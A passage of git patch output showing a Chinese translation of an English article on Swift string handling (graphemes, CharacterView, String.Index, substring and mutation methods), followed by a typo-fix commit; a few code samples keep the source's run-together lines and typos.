+**重点**： `CharacterView` 是字符串的字形簇集合。
 
-Let's take a closer look at `ç` grapheme. It may be represented in two ways: 
+让我们看看 `ç` 的字形。他可以有两种表现形式：
 
-- Using `U+00E7` *LATIN SMALL LETTER C WITH CEDILLA*: rendered as `ç`
-- Or using a combining character sequence: `U+0063`*LATIN SMALL LETTER C* plus the combining mark `U+0327` *COMBINING CEDILLA*. The grapheme is composite: `c` + `◌̧` = `ç`
+- 使用 `U+00E7` *LATIN SMALL LETTER C WITH CEDILLA*：被渲染为 `ç`
+- 或者使用组合字符序列：`U+0063`*LATIN SMALL LETTER C* 加上 组合标记 `U + 0327` *COMBINING CEDILLA* 组成复合字形：`c` + `◌̧` = `ç`
 
-Let's pick the second option and see how Swift handles it:
+我们看看在第二个选项中 Swift 是如何处理它的：
 
 [Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f3466012fc531b0551b918)
 
-```
-let message = "c\u{0327}a va bien" // => "ça va bien"  
-let firstCharacter = message.characters.first!  
+```swift
+let message = "c\u{0327}a va bien" // => "ça va bien"
+let firstCharacter = message.characters.first!
 print(firstCharacter) // => "ç"
 
-let combiningCharacter: Character = "c\u{0327}"  
-print(combiningCharacter == firstCharacter) // => true  
+let combiningCharacter: Character = "c\u{0327}"
+print(combiningCharacter == firstCharacter) // => true
 ```
 
-`firstCharacter` contains a single grapheme `ç` that is rendered using two Unicode scalars `U+0063` and `U+0327`.
+`firstCharacter` 包含了一个字形 `ç`，它是由两个 Unicode 标量 `U+0063` and `U+0327` 组合渲染出来的。
 
-`Character` structure accepts multiple Unicode scalars as long as they create a single grapheme. If you try to add more graphemes into a single `Character`, Swift triggers an error:
+`Character` 结构接受多个 Unicode 标量来创建一个单一的字形。如果你尝试在单个 `Character` 中添加更多的字形，Swift 将会出发错误：
 
-[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f3510212fc531b0551b91c) 
+[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f3510212fc531b0551b91c)
 
-```
-let singleGrapheme: Character = "c\u{0327}\u{0301}" // Works  
+```swift
+let singleGrapheme: Character = "c\u{0327}\u{0301}" // Works
 print(singleGrapheme) // => "ḉ"
 
-let multipleGraphemes: Character = "ab" // Error!  
+let multipleGraphemes: Character = "ab" // Error!
 ```
 
-Even if `singleGrapheme` is composed of 3 Unicode scalars, it creates a single grapheme `ḉ`. 
-`multipleGraphemes` tries to create a `Character` from 2 Unicode scalars. This creates 2 separated graphemes `a` and `b` in a single `Character` structure, which is not allowed.  
+即使 `singleGrapheme` 由 3 个 Unicode 标量组成，它创建了一个字形 `ḉ`。
+而 `multipleGraphemes` 则是从两个 Unicode 标量创建一个 `Character`，这将在单个 `Character` 结构中创建两个分离的字母 `a` 和 `b`，这不是被允许的操作。
 
-# 2. Iterating over characters in a string #
+# 2. 迭代字符串中的字符
 
-`CharacterView` collection conforms to `Sequence` protocol. This allows to iterate over the view characters in a `for-in` loop:
+`CharacterView` 集合遵循了 `Sequence` 协议。这将允许在 `for-in` 循环中便利字符视图：
 
 [Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4bc8f27a61152fe7c7410)
 
-```
+```swift
 let weather ="rain"for char in weather.characters {print(char)}// => "r" // => "a" // => "i" // => "n"
 ```
 
-Each character from `weather.characters` is accessed using `for-in` loop. On every iteration `char` variable is assigned with a character from `weather` string: `"r"`, `"a"`, `"i"` and `"n"`.  
+我们可以在 `for-in` 循环中访问到 `weather.characters` 中的每个字符。`char` 变量将会在迭代中依次分配给 `weather` 中的 `"r"`, `"a"`, `"i"` 和 `"n"` 字符。
 
-As an alternative, you can iterate over the characters using `forEach(_:)` method, indicating a closure as the first argument:  
+当然你也可以用 `forEach(_:)` 方法来迭代字符，指定一个闭包作为第一个参数：
 
 [Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4bca927a61152fe7c7411)
 
-```
-let weather = "rain"  
-for char in weather.characters {  
+```swift
+let weather = "rain"
+for char in weather.characters {
   print(char)
 }
-// => "r" 
-// => "a" 
-// => "i" 
+// => "r"
+// => "a"
+// => "i"
 // => "n"
 
 ```
 
-The iteration using `forEach(_:)` method is almost the same as `for-in`, only that you cannot use `continue` or `break` statements.  
+使用 `forEach(_:)` 的方式与 `for-in` 相似，唯一的不同是你不能使用 `continue` 或者 `break` 语句。
 
-To access the index of the current character in the loop, `CharacterView` provides the `enumerated()` method. The method returns a sequence of tuples `(index, character)`:
+要在循环中访问当前字符串的索引可以通过 `CharacterView` 提供的 `enumerated()` 方法。这个方法将会返回一个元组序列 `(index, character)`：
 
 [Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4bcd127a61152fe7c7412)
 
-```
-let weather = "rain"  
-for (index, char) in weather.characters.enumerated() {  
+```swift
+let weather = "rain"
+for (index, char) in weather.characters.enumerated() {
   print("index: \(index), char: \(char)")
 }
-// => "index: 0, char: r" 
-// => "index: 1, char: a" 
-// => "index: 2, char: i" 
-// => "index: 3, char: n" 
+// => "index: 0, char: r"
+// => "index: 1, char: a"
+// => "index: 2, char: i"
+// => "index: 3, char: n"
 ```
 
-`enumerated()` method on each iteration returns tuples `(index, char)`. 
-`index` variable contains the character index at the current loop step. Correspondingly `char` variable contains the character.  
+`enumerated()` 方法在每次迭代时返回元组 `(index, char)`。
+`index` 变量即为循环中当前字符的索引，而 `char` 变量则是循环中当前的字符。
 
-# 3. Counting characters #
+# 3. 统计字符
 
-Simply use `count` property of the `CharacterView` to get the number of characters:
+只需要访问 `CharacterView` 的 `counter` 属性就可以获得字符串中字符的个数：
 
-[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4bcf327a61152fe7c7413) 
+[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4bcf327a61152fe7c7413)
 
-```
-let weather ="sunny"print(weather.characters.count)// => 5  
+```swift
+let weather ="sunny"print(weather.characters.count)// => 5
 ```
 
-`weather.characters.count` contains the number of characters in the string.  
+`weather.characters.count` 是字符串中字符的个数。
 
-Each character in the view holds a grapheme. When an adjacent character (for example a [combining mark](http://unicode.org/glossary/#combining_character)) is appended to string, you may find that `count` property is not increased.  
+视图中的每一个字符都拥有一个字形。当相邻字符（比如 [组合标记](http://unicode.org/glossary/#combining_character) ）被添加到字符串时，你可能发现 `count` 属性没有没有变大。
 
-It happens because an adjacent character does not create a new grapheme in the string, instead it modifies an existing [base Unicode character](http://unicode.org/glossary/#base_character). Let's see an example:
+这是因为相邻字符并没有在字符串中创建一个新的字形，而是附加到了已经存在的 [基本 Unicode 字形](http://unicode.org/glossary/#base_character) 中。让我们看一个例子：
 
 [Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4bd0927a61152fe7c7414)
 
-```
-var drink = "cafe"  
-print(drink.characters.count) // => 4  
-drink += "\u{0301}"  
-print(drink)                  // => "café"  
-print(drink.characters.count) // => 4  
+```swift
+var drink = "cafe"
+print(drink.characters.count) // => 4
+drink += "\u{0301}"
+print(drink)                  // => "café"
+print(drink.characters.count) // => 4
 ```
 
-Initially `drink` has 4 characters. 
+一开始 `drink` 含有四个字符。
 
-When the combining mark `U+0301`*COMBINING ACUTE ACCENT* is appended to string, it modifies the previous base character `e` and creates a new grapheme `é`. The property `count` is not increased, because the number of graphemes is still the same.  
+当组合标记 `U+0301`*COMBINING ACUTE ACCENT* 被添加到字符串中，它改变了上一个基本字符 `e` 并创建了新的字形 `é`。这时属性 `count` 并没有变大，因为字形数量仍然相同。
 
-# 4. Accessing character by index #
+# 4. 按索引访问字符
 
-Swift doesn't know about the characters count in the string view until it actually evaluates the graphemes in it. As result a subscript that allows to access the character by an integer index directly does not exist. 
+因为 Swift 直到它实际评估字符视图中的字形之前都不知道字符串中的字符个数。结果就造成了无法通过通过下标的方式访问字符串索引。
 
-You can access the characters by a special type `String.Index`.
+你可以通过特殊的类型 `String.Index` 访问字符。
 
-If you need to access the first or last characters in the string, the character view structure has `first` and `last` properties:
+如果你需要访问字符串中的第一个或者最好一个字符，字符视图结构提供了 `first` 和 `last` 属性：
 
-[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4bd2027a61152fe7c7415) 
+[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4bd2027a61152fe7c7415)
 
-```
-let season = "summer"  
-print(season.characters.first!) // => "s"  
-print(season.characters.last!)  // => "r"  
-let empty = ""  
-print(empty.characters.first == nil) // => true  
-print(empty.characters.last == nil)  // => true  
+```swift
+let season = "summer"
+print(season.characters.first!) // => "s"
+print(season.characters.last!)  // => "r"
+let empty = ""
+print(empty.characters.first == nil) // => true
+print(empty.characters.last == nil)  // => true
 
 ```
 
-Notice that `first` and `last` properties are optional type `Character?`. 
+注意 `first` 和 `last` 属性将会返回可选类型 `Character?`。
 
-In the empty string `empty` these properties are `nil`.
+在空字符串 `empty` 这些属性将会是 `nil`。
 
 ![String indexes in Swift](https://rainsoft.io/content/images/2016/10/Swift-strings--2--1.png)
 
-To get a character at specific position, you have to use `String.Index` type (actually an alias of `String.CharacterView.Index`). String offers a subscript that accepts `String.Index` to access the character, as well as pre-defined indexes `myString.startIndex` and `myString.endIndex`.  
+要获取特定位置的字符，你必须使用 `String.Index` 类型（实际上是 `String.CharacterView.Index`的别名）。字符提供了一个接受 `String.Index` 下标访问字符的方法，以及预定义的索引 `myString.startIndex` 和 `myString.endIndex`。
 
-Using string index type, let's access the first and last characters:  
+让我们使用字符串索引来访问第一个和最后一个字符：
 
 [Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4bd3627a61152fe7c7416)
 
-```
-let color = "green"  
-let startIndex = color.startIndex  
-let beforeEndIndex = color.index(before: color.endIndex)  
-print(color[startIndex])     // => "g"  
-print(color[beforeEndIndex]) // => "n" 
+```swift
+let color = "green"
+let startIndex = color.startIndex
+let beforeEndIndex = color.index(before: color.endIndex)
+print(color[startIndex])     // => "g"
+print(color[beforeEndIndex]) // => "n"
 ```
 
-`color.startIndex` is the first character index, so `color[startIndex]` evaluates to `g`. 
-`color.endIndex` indicates the *past the end* position, or simply the position one greater than the last valid subscript argument. To access the last character, you must calculate the index right before string's end index: `color.index(before: color.endIndex)`.  
+`color.startIndex` 是第一个字符的索引，所以 `color[startIndex]` 表示为 `g`。
+`color.endIndex` 表示**结束**位置，或者简单的说是比最后一个有效小标参数大的位置。要访问最后一个字符，你必须计算它的前一个索引：`color.index(before: color.endIndex)`
 
-To access characters at position by an offset, use the `offsetBy` argument of `index(theIndex, offsetBy: theOffset)` method:
+要通过偏移访问字符的位置， 在 `index(theIndex, offsetBy: theOffset)` 方法中使用 `offsetBy` 参数：
 
-[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4bd4d27a61152fe7c7417) 
+[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4bd4d27a61152fe7c7417)
 
-```
-let color = "green"  
-let secondCharIndex = color.index(color.startIndex, offsetBy: 1)  
-let thirdCharIndex = color.index(color.startIndex, offsetBy: 2)  
-print(color[secondCharIndex]) // => "r"  
-print(color[thirdCharIndex])  // => "e"   
+```swift
+let color = "green"
+let secondCharIndex = color.index(color.startIndex, offsetBy: 1)
+let thirdCharIndex = color.index(color.startIndex, offsetBy: 2)
+print(color[secondCharIndex]) // => "r"
+print(color[thirdCharIndex])  // => "e"
 ```
 
-Indicating the `offsetBy` argument, you can access the character at specific offset. 
+指定 `offsetBy` 参数，你将可以放特定偏移量位置的字符。
 
-Of course `offsetBy` argument is jumping over string graphemes, i.e. the offset applies over `Character` instances of string's `CharacterView`.  
+当然，`offsetBy` 参数是的步进是字符串的字形。即偏移量适用于 `ChacterView` 中的 `Chacter` 实例。
 
-If the index is out of range, Swift generates an error:
+如果索引超出范围，Swift 会触发错误。
 
-[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4bd7227a61152fe7c7418) 
+[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4bd7227a61152fe7c7418)
 
-```
+```swift
 let color ="green"
-let oops = color.index(color.startIndex, offsetBy:100)// Error!  
+let oops = color.index(color.startIndex, offsetBy:100) // Error!
 ```
 
-To prevent such situations, indicate an additional argument `limitedBy`  to limit the offset: `index(theIndex, offsetBy: theOffset, limitedBy: theLimit)`. The function returns an optional, which is `nil` for out of bounds index:  
+为了防止这种情况，可以指定一个 `limitedBy` 参数来限制最大偏移量：`index(theIndex, offsetBy: theOffset, limitedBy: theLimit)`。这个函数将会返回一个可选类型，当索引超出范围时将会返回 `nil`：
 
-[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4bd8d27a61152fe7c7419) 
+[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4bd8d27a61152fe7c7419)
 
-```
-let color = "green"  
-let oops = color.index(color.startIndex, offsetBy: 100,  
+```swift
+let color = "green"
+let oops = color.index(color.startIndex, offsetBy: 100,
    limitedBy: color.endIndex)
-if let charIndex = oops {  
+if let charIndex = oops {
   print("Correct index")
 } else {
   print("Incorrect index")
@@ -272,269 +273,274 @@ if let charIndex = oops {
 // => "Incorrect index"
 ```
 
-`oops` is an optional `String.Index?`. The optional unwrap verifies whether the index didn't jump out of the string.  
+`oops` 是一个可选类型 `String.Index?`。展开可选类型可以验证索引是否超出了字符串的范围。
 
-# 5. Checking substring existence #
+# 5. 检查子串是否存在
 
-The simplest way to verify the substring existence is to call `contains(_ other: String)` string method:
+验证子串是否存在的最简单方法是调用 `contains(_ other: String)` 方法：
 
 [Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4bda427a61152fe7c741a)
 
-```
-importFoundationlet animal ="white rabbit"print(animal.contains("rabbit"))// => true  print(animal.contains("cat"))// => false  
+```swift
+import Foundation
+let animal = "white rabbit"
+print(animal.contains("rabbit")) // => true
+print(animal.contains("cat")) // => false
 ```
 
-`animal.contains("rabbit")` returns `true` because `animal` contains `"rabbit"` substring. 
+`animal.contains("rabbit")` 将返回 `true` 因为 `animal` 包含了 `"rabbit"` 字符串。
 
-Correspondingly `animal.contains("cat")` evaluates to `false` for a non-existing substring.  
+那么当子字串不存在的时候 `animal.contains("cat")` 的值将为 `false`。
 
-To verify whether the string has specific prefix or suffix, the methods `hasPrefix(_:)` and  `hasSuffix(_:)` are available. Let's use them in an example:
+要验证字符串是否具有特定的前缀或后缀，可以使用 `hasPrefix(_:)` 和  `hasSuffix(_:)` 方法。我们来看一个例子：
 
-[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4bdb627a61152fe7c741b) 
+[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4bdb627a61152fe7c741b)
 
-```
-importFoundationlet 
-animal ="white rabbit"
-print(animal.hasPrefix("white"))// => true  print(animal.hasSuffix("rabbit"))// => true  
+```swift
+importFoundationlet
+animal = "white rabbit"
+print(animal.hasPrefix("white")) // => true
+print(animal.hasSuffix("rabbit")) // => true
 ```
 
-`"white"` is a prefix and `"rabbit"` is a suffix of `"white rabbit"`. So the corresponding method calls `animal.hasPrefix("white")` and `animal.hasSuffix("rabbit")` return `true`.  
+`"white rabbit"` 以 `"white"` 开头并以 `"rabbit"` 结尾。所以我们调用 `animal.hasPrefix("white")` 和 `animal.hasSuffix("rabbit")` 方法都将返回 `true`。
 
-When you need to search for a particular character, it makes sense to query directly the character view. For example:
+当你想搜索字符串时，直接查询字符视图是就可以了。比如：
 
-[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4bdc827a61152fe7c741c) 
+[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4bdc827a61152fe7c741c)
 
-```
-let animal = "white rabbit"  
-let aChar: Character = "a"  
-let bChar: Character = "b"  
-print(animal.characters.contains(aChar)) // => true  
-print(animal.characters.contains {  
+```swift
+let animal = "white rabbit"
+let aChar: Character = "a"
+let bChar: Character = "b"
+print(animal.characters.contains(aChar)) // => true
+print(animal.characters.contains {
   $0 == aChar || $0 == bChar
 }) // => true
 ```
 
-`contains(_:)` verifies whether the character view has a particular character. 
+`contains(_:)` 将验证字符视图是否包含指定视图。
 
-The second function form accepts a closure: `contains(where predicate: (Character) -> Bool)` and performs the same verification.  
+而第二个函数 `contains(where predicate: (Character) -> Bool)` 则是接受一个闭包并执行验证。
 
-# 6. String manipulation #
+# 6. 字符串操作
 
-The string in Swift is a *value type*. Whether you pass a string as an argument on function call, assign it to a variable or constant - every time a *copy* of the original string is created.  
+字符串在 Swift 中是 *value type*（值类型）。无论你是将它作为参数进行函数调用还是将它分配给一个变量或者常量——每次复制都将会创建一个全新的**拷贝**。
 
-A mutating method call changes the string in place.  
+所有的可变方法都是在空间内将字符串改变。
 
-This chapter covers the common manipulations over strings.  
+本节涵盖了对字符串的常见操作。
 
-#### Append to string a character or another string ####
+#### 附加字符串到另一个字符串
 
-The simplest way to append to string is `+=` operator. You can append an entire string to original one:  
+附加字符串较为简便的方法是直接使用 `+=` 操作符。你可以直接将整个字符串附加到原始字符串：
 
-[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4bddf27a61152fe7c741d) 
+[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4bddf27a61152fe7c741d)
 
-```
-var bird ="pigeon"  
+```swift
+var bird ="pigeon"
 bird +=" sparrow"
-print(bird)// => "pigeon sparrow"  
+print(bird) // => "pigeon sparrow"
 ```
 
-String structure provides a mutating method `append()`. The method accepts a string, a character or even a sequence of characters, and appends it to the original string. For instance:
+字符串结构提供了一个可变方法 `append()`。该方法接受字符串、字符甚至字符序列，并将其附加到原始字符串。例如
 
-[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4bdff27a61152fe7c741e) 
+[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4bdff27a61152fe7c741e)
 
-```
-var bird = "pigeon"  
-let sChar: Character = "s"  
-bird.append(sChar)  
-print(bird) // => "pigeons"  
-bird.append(" and sparrows")  
-print(bird) // => "pigeons and sparrows"  
-bird.append(contentsOf: " fly".characters)  
-print(bird) // => "pigeons and sparrows fly" 
+```swift
+var bird = "pigeon"
+let sChar: Character = "s"
+bird.append(sChar)
+print(bird) // => "pigeons"
+bird.append(" and sparrows")
+print(bird) // => "pigeons and sparrows"
+bird.append(contentsOf: " fly".characters)
+print(bird) // => "pigeons and sparrows fly"
 ```
 
-#### Extract a substring from string ####
+#### 从字符串中截取字符串
 
-The method `substring()` allows to extract substrings:
+使用 `substring()` 方法可以截取字符串：
 
-- from a specific index up to the end of string
-- from the the start up to a specific index 
-- or based on a range of indexes. 
+- 从特定索引到字符串的末尾
+- 从开头到特定索引
+- 或者基于一个索引区间
 
-Let's see how it works:
+让我们来看看它是如何工作的
 
-[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4be1527a61152fe7c741f) 
+[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4be1527a61152fe7c741f)
 
-```
-
-let plant = "red flower"  
-let strIndex = plant.index(plant.startIndex, offsetBy: 4)  
-print(plant.substring(from: strIndex)) // => "flower"  
+```swift
+let plant = "red flower"
+let strIndex = plant.index(plant.startIndex, offsetBy: 4)
+print(plant.substring(from: strIndex)) // => "flower"
 print(plant.substring(to: strIndex))   // => "red "
 
-if let index = plant.characters.index(of: "f") {  
+if let index = plant.characters.index(of: "f") {
   let flowerRange = index..<plant.endIndex
-  print(plant.substring(with: flowerRange)) // => "flower"   
+  print(plant.substring(with: flowerRange)) // => "flower"
 }
 ```
 
-The string subscript accepts a range or closed range of string indexes. This helps extracting substrings based on ranges of indexes:
+字符串下标接受一个区间或者封闭区间作为字符索引。这有助于根据范围截取子串：
 
 [Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4be3127a61152fe7c7420) (target=undefined)
 
-```
-let plant ="green tree"let excludeFirstRange =  
+```swift
+let plant ="green tree"let excludeFirstRange =
   plant.index(plant.startIndex, offsetBy:1)..<plant.endIndex
-print(plant[excludeFirstRange])// => "reen tree"  let lastTwoRange =  
-  plant.index(plant.endIndex, offsetBy:-2)..<plant.endIndex
-print(plant[lastTwoRange])// => "ee"  
+print(plant[excludeFirstRange]) // => "reen tree"
+let lastTwoRange = plant.index(plant.endIndex, offsetBy:-2)..<plant.endIndex
+print(plant[lastTwoRange]) // => "ee"
 ```
 
-#### Insert into string ####
+#### 插入字符串
 
-The string type provides the mutating method `insert()`. The method allows to insert a character or a sequence of characters at specific index.  
+字符串类型提供了可变方法 `insert()`。此方法可以在特定索引处插入一个字符或者一个字符序列。
 
-The new character or sequence is inserted before the element currently at the specified index.  
+新的字符将被插入到指定索引的元素之前。
 
-See the following sample:
+来看一个例子：
 
 [Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4be4a27a61152fe7c7421)
 
-```
-var plant = "green tree"  
-plant.insert("s", at: plant.endIndex)  
-print(plant) // => "green trees"  
-plant.insert(contentsOf: "nice ".characters, at: plant.startIndex)  
-print(plant) // => "nice green trees" 
+```swift
+var plant = "green tree"
+plant.insert("s", at: plant.endIndex)
+print(plant) // => "green trees"
+plant.insert(contentsOf: "nice ".characters, at: plant.startIndex)
+print(plant) // => "nice green trees"
 ```
 
-#### Remove from string ####
+#### 移除字符
 
-The mutating method `remove(at:)` removes the character at an index:
+可变方法 `remove(at:)` 可以删除指定索引处的字符：
 
 [Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4be6527a61152fe7c7422)
 
-```
-var weather = "sunny day"  
-if let index = weather.characters.index(of: " ") {  
+```swift
+var weather = "sunny day"
+if let index = weather.characters.index(of: " ") {
   weather.remove(at: index)
   print(weather) // => "sunnyday"
 }
 ```
 
-You can remove characters in the string that are in a range of indexes using `removeSubrange(_:)`:
+你也可以使用 `removeSubrange(_:)` 来从字符串中移除一个索引区间内的全部字符：
 
 [Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4be7b27a61152fe7c7423)
 
-```
-var weather = "sunny day"  
-let index = weather.index(weather.startIndex, offsetBy: 6)  
-let range = index..<weather.endIndex  
-weather.removeSubrange(range)  
-print(weather) // => "sunny"   
+```swift
+var weather = "sunny day"
+let index = weather.index(weather.startIndex, offsetBy: 6)
+let range = index..<weather.endIndex
+weather.removeSubrange(range)
+print(weather) // => "sunny"
 ```
 
-#### Replace in string ####
+#### 替换字符串
 
-The method `replaceSubrange(_:with:)` accepts a range of indexes that should be replaced with a particular string. The method is mutating the string.
+`replaceSubrange(_:with:)` 方法接受一个索引区间并可以将区间内的字符串替换为特定字符串。这是字符串的一个可变方法。
 
-Let's see a sample:
+一个简单的例子：
 
 [Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4be9327a61152fe7c7424)
 
-```
-var weather = "sunny day"  
-if let index = weather.characters.index(of: " ") {  
+```swift
+var weather = "sunny day"
+if let index = weather.characters.index(of: " ") {
   let range = weather.startIndex..<index
   weather.replaceSubrange(range, with: "rainy")
   print(weather) // => "rainy day"
 }
 ```
 
-#### The character view mutation alternative ####
+#### 另一些关于字符串的可变操作
 
-Many of string manipulations described above may be applied directly on string's character view. 
+上面描述的许多字符串操作都是直接应用于字符串中的字符视图。
 
-It is a good alternative if you find more comfortable to work directly with a collection of characters.
+而更方便的直接使用一个字符序列可能是更好的选择。
 
-For example you can remove characters at specific index, or directly the first or last characters:
+比如你可以删除特定索引出的字符，或者直接删除第一个或者最好一个字符：
 
 [Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4bea927a61152fe7c7425)
 
-```
-var fruit = "apple"  
-fruit.characters.remove(at: fruit.startIndex)  
-print(fruit) // => "pple"  
-fruit.characters.removeFirst()  
-print(fruit) // => "ple"  
-fruit.characters.removeLast()  
-print(fruit) // => "pl"  
+```swift
+var fruit = "apple"
+fruit.characters.remove(at: fruit.startIndex)
+print(fruit) // => "pple"
+fruit.characters.removeFirst()
+print(fruit) // => "ple"
+fruit.characters.removeLast()
+print(fruit) // => "pl"
 ```
 
-To reverse a word use `reversed()` method of the character view:
+使用字符视图中的 `reversed()` 方法来翻转字符视图：
 
 [Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4bebf27a61152fe7c7426)
-```
+
+```swift
 var fruit ="peach"
 var reversed =String(fruit.characters.reversed())
-print(reversed)// => "hcaep"  
+print(reversed)// => "hcaep"
 ```
 
-You can easily filter the string:
+ 你可以很简单得过滤字符串：
 
-[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4beea27a61152fe7c7427) 
+[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4beea27a61152fe7c7427)
 
-```
-let fruit = "or*an*ge"  
-let filtered = fruit.characters.filter { char in  
+```swift
+let fruit = "or*an*ge"
+let filtered = fruit.characters.filter { char in
   return char != "*"
 }
-print(String(filtered)) // => "orange"  
+print(String(filtered)) // => "orange"
 ```
 
-Map the string content by applying a transformer closure:
+Map 可以接受一个闭包来对字符串进行变换：
 
-[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4befd27a61152fe7c7428) 
+[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4befd27a61152fe7c7428)
 
-```
-let fruit = "or*an*ge"  
-let mapped = fruit.characters.map { char -> Character in  
+```swift
+let fruit = "or*an*ge"
+let mapped = fruit.characters.map { char -> Character in
   if char == "*" {
       return "+"
   }
   return char
 }
-print(String(mapped)) // => "or+an+ge"   
+print(String(mapped)) // => "or+an+ge"
 ```
 
-Or reduce the string content to an accumulator value:
+或者使用 reduce 来对字符串来进行一些累加操作：
 
-[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4bf1d27a61152fe7c7429) (target=undefined)
+[Try in Swift sandbox](http://swiftlang.ng.bluemix.net/#/repl/57f4bf1d27a61152fe7c7429)
 
-```
-let fruit = "or*an*ge"  
-let numberOfStars = fruit.characters.reduce(0) { countStars, char in  
+```swift
+let fruit = "or*an*ge"
+let numberOfStars = fruit.characters.reduce(0) { countStars, char in
     if (char == "*") {
         return countStarts + 1
     }
     return countStars
-} 
-print(numberOfStars) // => 2  
+}
+print(numberOfStars) // => 2
 ```
 
-# 7. Final words #
+# 7. 说在最后
 
-At first sight, the idea of different types of views over string's content may seem overcomplicated.  
+首先要说，大家对于字符串内容持有的不同观点看起来似乎过于复杂。
 
-In my opinion it is a great implementation. Strings can be viewed in different angles: as a collection of graphemes, UTF-8 or UTF-16 code units or simple Unicode scalars.  
+而在我看来这是一个很好的实现。字符串可以从不同的角度来例假：昨晚字形集合、UTF-8 或 UTF-16 码位和简单是 Unicode 标量。
 
-Just pick the view depending on your task. In most of the cases it is `CharacterView`.
+根据你的任务来选择合适的视图。在大多数情况下，`CharacterView` 都很合适。
 
-The character view deals with graphemes that may be compound from one or more Unicode scalars. As result the string cannot be integer indexed (like arrays). Instead a special type of index is applicable: `String.Index`.  
+因为字符视图中可能包含来自一个或多个 Unicode 标量组成的字形。因此字符串并不能像数组那样直接被整数索引。不过可以用特殊的 `String.Index` 来索引字符串。
 
-Special index type adds a bit of complexity when accessing individual characters or manipulating strings. I agree to pay this price, because having truly Unicode-aware operations on strings is awesome! 
+虽然特殊的索引类型导致在访问单个字符串或者操作字符串时增加了一些难度。我接受这个成本，因为在字符串上进行诊治的 Unicode 感知操作真的很棒！
 
 *Do you find string views comfortable to use? Write a comment bellow and let's discuss!*
+*您是否发现使用舒适的字符串视图？ 写下评论，让我们讨论一下！
+**对于字符操作你有没有找到更舒适的方法？写下评论我们一起来讨论一些吧！**
 
-**P.S.** You might be interested to read my [detailed overview of array and dictionary literals in Swift](https://rainsoft.io/concise-initialization-of-collections-in-swift/).
-
+**P.S.** 不知道你有没有兴趣阅读我的另一篇文章：[detailed overview of array and dictionary literals in Swift](https://rainsoft.io/concise-initialization-of-collections-in-swift/)
\ No newline at end of file

From fff51d3ef8a59fb7d27b3141addd5df9f0801668 Mon Sep 17 00:00:00 2001
From: Tuccuay <i@tuccuay.com>
Date: Sun, 9 Apr 2017 15:16:14 +0800
Subject: [PATCH 088/638] fix typo

---
 TODO/mastering-swift-essential-details-about-strings.md | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/TODO/mastering-swift-essential-details-about-strings.md b/TODO/mastering-swift-essential-details-about-strings.md
index 322df4619dc..325223b5681 100644
--- a/TODO/mastering-swift-essential-details-about-strings.md
+++ b/TODO/mastering-swift-essential-details-about-strings.md
@@ -537,10 +537,8 @@ print(numberOfStars) // => 2
 
 因为字符视图中可能包含来自一个或多个 Unicode 标量组成的字形。因此字符串并不能像数组那样直接被整数索引。不过可以用特殊的 `String.Index` 来索引字符串。
 
-虽然特殊的索引类型导致在访问单个字符串或者操作字符串时增加了一些难度。我接受这个成本，因为在字符串上进行诊治的 Unicode 感知操作真的很棒！
+虽然特殊的索引类型导致在访问单个字符串或者操作字符串时增加了一些难度。我接受这个成本，因为在字符串上进行真正的 Unicode 感知操作真的很棒！
 
-*Do you find string views comfortable to use? Write a comment bellow and let's discuss!*
-*您是否发现使用舒适的字符串视图？ 写下评论，让我们讨论一下！
 **对于字符操作你有没有找到更舒适的方法？写下评论我们一起来讨论一些吧！**
 
 **P.S.** 不知道你有没有兴趣阅读我的另一篇文章：[detailed overview of array and dictionary literals in Swift](https://rainsoft.io/concise-initialization-of-collections-in-swift/)
\ No newline at end of file

From fc3e9aa67f16aee91eade3e94fc777ce289cd439 Mon Sep 17 00:00:00 2001
From: lsvih <lsvih@qq.com>
Date: Sun, 9 Apr 2017 18:04:08 +0800
